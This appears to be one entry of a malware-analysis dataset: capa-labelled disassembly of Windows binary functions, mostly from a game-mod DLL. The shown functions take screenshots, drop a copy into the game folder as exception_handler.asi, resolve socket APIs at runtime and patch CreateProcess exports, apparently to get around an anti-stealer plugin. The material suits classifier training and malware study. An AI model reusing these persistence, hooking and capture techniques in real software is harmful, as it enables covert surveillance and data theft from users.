joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100011c4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 8]
push esi
push eax
push 0x40
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebx]
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.100037e8
leave
ret 4

Function at 0x100014e5
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
push 0x1000532c
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WSAStartup
push eax
mov dword [edi + 0x1dc], eax
call esi
push str.socket
push dword [edi + 0x1dc]
mov dword [edi + 0x1a4], eax
call esi
push str.connect
push dword [edi + 0x1dc]
mov dword [edi + 4], eax
call esi
push str.setsockopt
push dword [edi + 0x1dc]
mov dword [edi + 0x1bc], eax
call esi
push str.gethostbyname
push dword [edi + 0x1dc]
mov dword [edi + 8], eax
call esi
push str.send
push dword [edi + 0x1dc]
mov dword [edi + 0x1c4], eax
call esi
push str.recv
push dword [edi + 0x1dc]
mov dword [edi + 0x1cc], eax
call esi
push str.closesocket
push dword [edi + 0x1dc]
mov dword [edi + 0x1d4], eax
call esi
push str.WSACleanup
push dword [edi + 0x1dc]
mov dword [edi + 0xc], eax
call esi
mov dword [edi + 0x1a8], eax
mov eax, edi
pop edi
pop esi
ret

Function at 0x10002842
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], ecx
push str..dll
push dword [ebp + 8]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10002868
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str..asi
push dword [ebp + 8]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10002885
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str..exe
push dword [ebp + 8]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x100028a4
push 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x10005994
push dword [ebp + 8]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x100028f7
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 8]
test eax, eax
jne 0x100028c5
jmp 0x100028f7
push str.SAMPFUNCS.asi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
push str._loadPlugin_SAMPFUNCS__QAEXV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
call fcn.10002a7d
call dword [ebp - 0xc]
leave
ret 4
Function at 0x100028fb
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x4e
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x60], eax
push 0x4f
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x5c], eax
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x58], eax
push dword [ebp - 0x58]
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x64], eax
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
push dword [ebp - 0x58]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x68], eax
push dword [ebp - 0x68]
push dword [ebp - 0x64]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
push 0
push 0
push dword [ebp - 0x64]
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
push 0
lea ecx, [ebp - 0x44]
call fcn.10001e04
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
push dword [ebp - 0x48]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov dword [ebp - 0x54], eax
push dword [ebp - 0x54]
push dword [ebp - 0x48]
push dword [ebp - 8]
call dword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
and dword [ebp - 0x50], 0
lea esi, [ebp - 0x2c]
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
imul eax, dword [ebp - 0x50], 0x4c
mov ecx, dword [ebp - 0x54]
lea ecx, [ecx + eax + 0x10]
mov edx, 0x100052dc
call fcn.10001ce9
test eax, eax
jne 0x10002a05
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 8]
jb 0x10002a03
jmp 0x10002a05
jmp 0x100029d9
imul eax, dword [ebp - 0x50], 0x4c
mov ecx, dword [ebp - 0x54]
lea ecx, [ecx + eax + 0x10]
lea edx, [ebp - 0x18]
call fcn.10001ce9
test eax, eax
jne 0x10002a2a
imul esi, dword [ebp - 0x50], 0x4c
add esi, dword [ebp - 0x54]
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x18]
call fcn.10001ce9
test eax, eax
je 0x10002a3b
jmp 0x10002a6f
lea eax, [ebp - 0x4c]
push eax
push 0
push dword [ebp - 0x68]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
push dword [ebp - 0x4c]
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [ebp - 0x4c]
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [ebp - 0x54]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100037e8
leave
ret
Function at 0x10002c16
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10002d28
push 0x2e
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
pop ecx
lea edx, [ebp - 0x14]
pop ecx
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10002c4c
lea edx, [ebp - 0x130]
mov dword [ebp - 0x134], 1
sub edx, ebx
push esi
mov dword [ebp - 0x138], edx
push edi
mov ecx, ebx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x10002c72
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0xa
pop ecx
cdq
idiv ecx
lea eax, [ebp - 0x2c]
push edx
push str._d_s
push eax
call fcn.100014b1
lea eax, [ebp - 0x130]
push 0x2e
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
lea edx, [ebp - 0x2c]
add esp, 0x18
mov esi, edx
mov byte [eax], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x10002cb5
lea edi, [ebp - 0x130]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002cc5
mov ecx, edx
lea eax, [ebp - 0x130]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10002d12
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x134], eax
cmp eax, 9
jle 0x10002c70
mov byte [0x10008058], 0
jmp 0x10002d26
lea ecx, [ebp - 0x130]
mov eax, ecx
sub ebx, eax
mov al, byte [ecx]
mov byte [ebx + ecx], al
inc ecx
test al, al
jne 0x10002d1c
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100037e8
leave
ret
Function at 0x10002d35
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0x210], 0x104
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SOFTWARESAMP
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10002ebf
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
push str.gta_sa_exe
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10002ebf
push esi
push edi
lea eax, [ebp - 0x108]
push 0x5c
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
pop ecx
pop ecx
push 5
pop ecx
mov edi, eax
mov esi, str.exception_handler.asi
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x108]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.10002c16
cmp byte [0x10008058], bl
je 0x10002ebd
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10002df6
test al, 0x10
je 0x10002ebd
push 0x104
lea eax, [ebp - 0x20c]
push eax
push dword [0x100104d8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push str.exception_handler
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x10002ebd
push ebx
push 2
pop esi
push esi
push esi
push ebx
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x20c]
push 0x100058e0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ebx, eax
push 0
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
push edi
call fcn.10003839
push ebx
push edi
mov esi, eax
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x3c
lea eax, [ebp - 0x210]
push 0
push eax
push edi
mov edi, dword [ebp - 0x218]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.10003834
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100037e8
leave
ret
Function at 0x10002f80
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
jne 0x1000307a
push ebx
push edi
call fcn.10002b86
mov edx, eax
mov dword [ebp - 0x208], edx
test edx, edx
je 0x10002fcd
xor eax, eax
mov edi, edx
push 8
pop ecx
rep stosd dword es:[edi], eax
lea edi, [edx + 4]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [edx], vtable.bCErrorAdmin.0
mov dword [edx + 0x1c], ebx
jmp 0x10002fd1
xor ebx, ebx
mov edx, ebx
push esi
mov dword [0x100104e0], edx
mov byte [edx + 0x18], 1
call fcn.10002edf
push eax
lea eax, [ebp - 0x204]
push str.build_date_Jun__2_2023_at_04:27:43__internal_build_number__d_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x14
call fcn.100037f6
pop ecx
mov ecx, eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x208], ecx
mov edi, ecx
mov dword [0x100104dc], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, str.vla_ldr
mov dword [ecx], esi
push edi
push ebx
push 0x1f0001
mov byte [ecx + 8], bl
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
test eax, eax
jne 0x10003077
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov dword [0x100104d8], esi
call fcn.10002d35
push dword [0x100104dc]
push ebx
push 0x10002ecc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0x10
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.100037e8
leave
ret 0xc

Function at 0x1000308b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
xor esi, esi
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov edx, dword [eax + 0x20]
mov ebx, dword [eax + 0x1c]
add edx, edi
mov ecx, dword [eax + 0x24]
add ebx, edi
mov eax, dword [eax + 0x18]
add ecx, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x100030df
mov eax, dword [edx + esi*4]
add eax, edi
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x100030e6
mov edx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 8]
jb 0x100030c3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + esi*2]
mov eax, dword [ebx + eax*4]
add eax, edi
jmp 0x100030e1
Function at 0x10003131
Capabilities:
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x100058e0
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov edi, eax
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push eax
mov dword [ebp - 4], eax
call fcn.10003839
push 0
push 0
push edi
mov ebx, eax
call esi
mov esi, dword [ebp - 4]
push edi
push esi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [ebx + 0x3c]
lea edi, [ebx + 0xf8]
add edi, eax
mov dword [ebp - 0xc], edi
movzx ecx, word [eax + ebx + 6]
push dword [eax + ebx + 0x78]
mov dword [ebp - 8], ecx
mov edx, ecx
push esi
mov ecx, edi
call fcn.100030f4
add eax, ebx
add esp, 0x44
xor edi, edi
mov dword [ebp - 0x10], eax
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x18], ecx
test ecx, ecx
je 0x10003278
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
push eax
push esi
call fcn.100030f4
mov edx, dword [ebp - 8]
add eax, ebx
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x14]
push dword [eax + edi*4]
push dword [ebp - 4]
call fcn.100030f4
add esp, 0x10
add eax, ebx
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10003210
test cl, cl
je 0x1000320c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10003210
add eax, 2
add esi, 2
test cl, cl
jne 0x100031f0
xor eax, eax
jmp 0x10003215
sbb eax, eax
or eax, 1
test eax, eax
je 0x10003227
mov esi, dword [ebp - 4]
inc edi
mov eax, dword [ebp - 0x1c]
cmp edi, dword [ebp - 0x18]
jb 0x100031c8
jmp 0x10003278
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
push dword [eax + 0x1c]
push dword [ebp - 4]
call fcn.100030f4
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
lea esi, [eax + ebx]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x24]
push dword [ebp - 4]
call fcn.100030f4
mov edx, dword [ebp - 8]
add eax, ebx
mov ecx, dword [ebp - 0xc]
movzx eax, word [eax + edi*2]
push dword [esi + eax*4]
push dword [ebp - 4]
call fcn.100030f4
push 1
push ebx
mov esi, eax
call fcn.10003826
add esp, 0x20
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000327d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
test esi, esi
jne 0x10003295
push edi
mov edi, dword fs:[0x30]
mov eax, dword [edi + 8]
ret
push ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0x1c]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
jmp 0x100032c1
push esi
push dword [eax + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, dword [ebp - 4]
je 0x100032c7
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp dword [eax + 8], 0
jne 0x100032ab
mov eax, dword [eax + 8]
pop esi
leave
ret
Function at 0x100032cd
Capabilities:
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
call fcn.1000308b
mov ebx, eax
test edi, edi
je 0x1000338d
test esi, esi
je 0x1000338d
push 0x104
lea eax, [ebp - 0x110]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, esi
lea ecx, [ebp - 0x110]
call fcn.10003131
mov edi, eax
cmp edi, 0xffffffff
je 0x1000338d
lea eax, [ebp - 0x110]
push 0x100058e0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push 0
mov esi, eax
push edi
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push esi
push 5
lea eax, [ebp - 0xc]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x114]
add esp, 0x28
push eax
push 0x40
push 5
push ebx
call esi
mov eax, dword [ebp - 0xc]
mov dword [ebx], eax
mov al, byte [ebp - 8]
mov byte [ebx + 4], al
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x114]
push 5
push ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100037e8
leave
ret

Function at 0x1000339c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test edi, edi
je 0x100033db
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov dword [edi], 0x8b55ff8b
push eax
push dword [ebp - 8]
mov byte [edi + 4], 0xec
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100037e8
leave
ret

Function at 0x100033e8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
mov ecx, str.kernel32.dll
call fcn.1000327d
mov ecx, str.ntdll.dll
mov esi, eax
call fcn.1000327d
mov edx, 0x10005b40
mov ecx, esi
mov edi, eax
call fcn.1000308b
mov ecx, eax
call fcn.1000339c
mov edx, str.CreateProcessA
mov ecx, esi
call fcn.1000308b
mov ecx, eax
call fcn.1000339c
mov edx, str.CreateProcessInternalA
mov ecx, esi
call fcn.100032cd
mov edx, str.CreateProcessW
mov ecx, esi
call fcn.1000308b
mov ecx, eax
call fcn.1000339c
mov edx, str.CreateProcessInternalW
mov ecx, esi
call fcn.100032cd
mov edx, str.ZwCreateUserProcess
mov ecx, edi
call fcn.100032cd
mov ecx, edi
mov edx, str.RtlCreateProcessParametersEx
pop edi
pop esi
jmp fcn.100032cd

Function at 0x100034f1
Capabilities:
Allocate or change rwx memory

Disassembly:
mov ecx, str._0AntiStealerByDarkP1xel32.ASI
call fcn.1000327d
test eax, eax
je 0x10003509
call fcn.100033e8
jmp fcn.1000346d
ret
Function at 0x409420
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x468e5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045d650
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4094a2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045b3fd
mov eax, dword [eax]
push 0x4b61d0
push eax
call fcn.0044d884
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045d8db
test bl, bl
je 0x4094a2
push 0x4b61d0
lea ecx, [esp + 0xc]
call fcn.0045dc6b
push 0x4b9d44
lea ecx, [esp + 0xc]
call fcn.0045dc6b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4094de
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045d8db
jmp 0x4095a9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409562
lea edx, [esp + 0x7c]
push 0x4b9d40
push edx
call fcn.0044d884
add esp, 8
test eax, eax
je 0x409562
lea eax, [esp + 0x7c]
push 0x4b9d3c
push eax
call fcn.0044d884
add esp, 8
test eax, eax
je 0x409562
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4094f2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045d8db
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x409da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409e02
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x409e10
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x468edb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4c06c0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x409f48
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x409e76
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d8db
xor eax, eax
jmp 0x409fbf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045da18
push esi
lea ecx, [esp + 0xc]
call fcn.0045dca7
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x409f9d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00409da0
test eax, eax
jne 0x409f9d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00409da0
test eax, eax
jne 0x409f9d
lea eax, [esp + 0x14]
push 0x4b9d58
push eax
call fcn.0044e8c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x409f7c
lea ecx, [esp + 0x14]
push 0x4b9d54
push ecx
call fcn.0044e840
mov esi, eax
add esp, 8
test esi, esi
jne 0x409f7c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x409f7f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045d9c8
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x409e8e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d8db
xor eax, eax
jmp 0x409fbf
mov byte [esi], 0
push 0x4b9d50
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045d8db
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4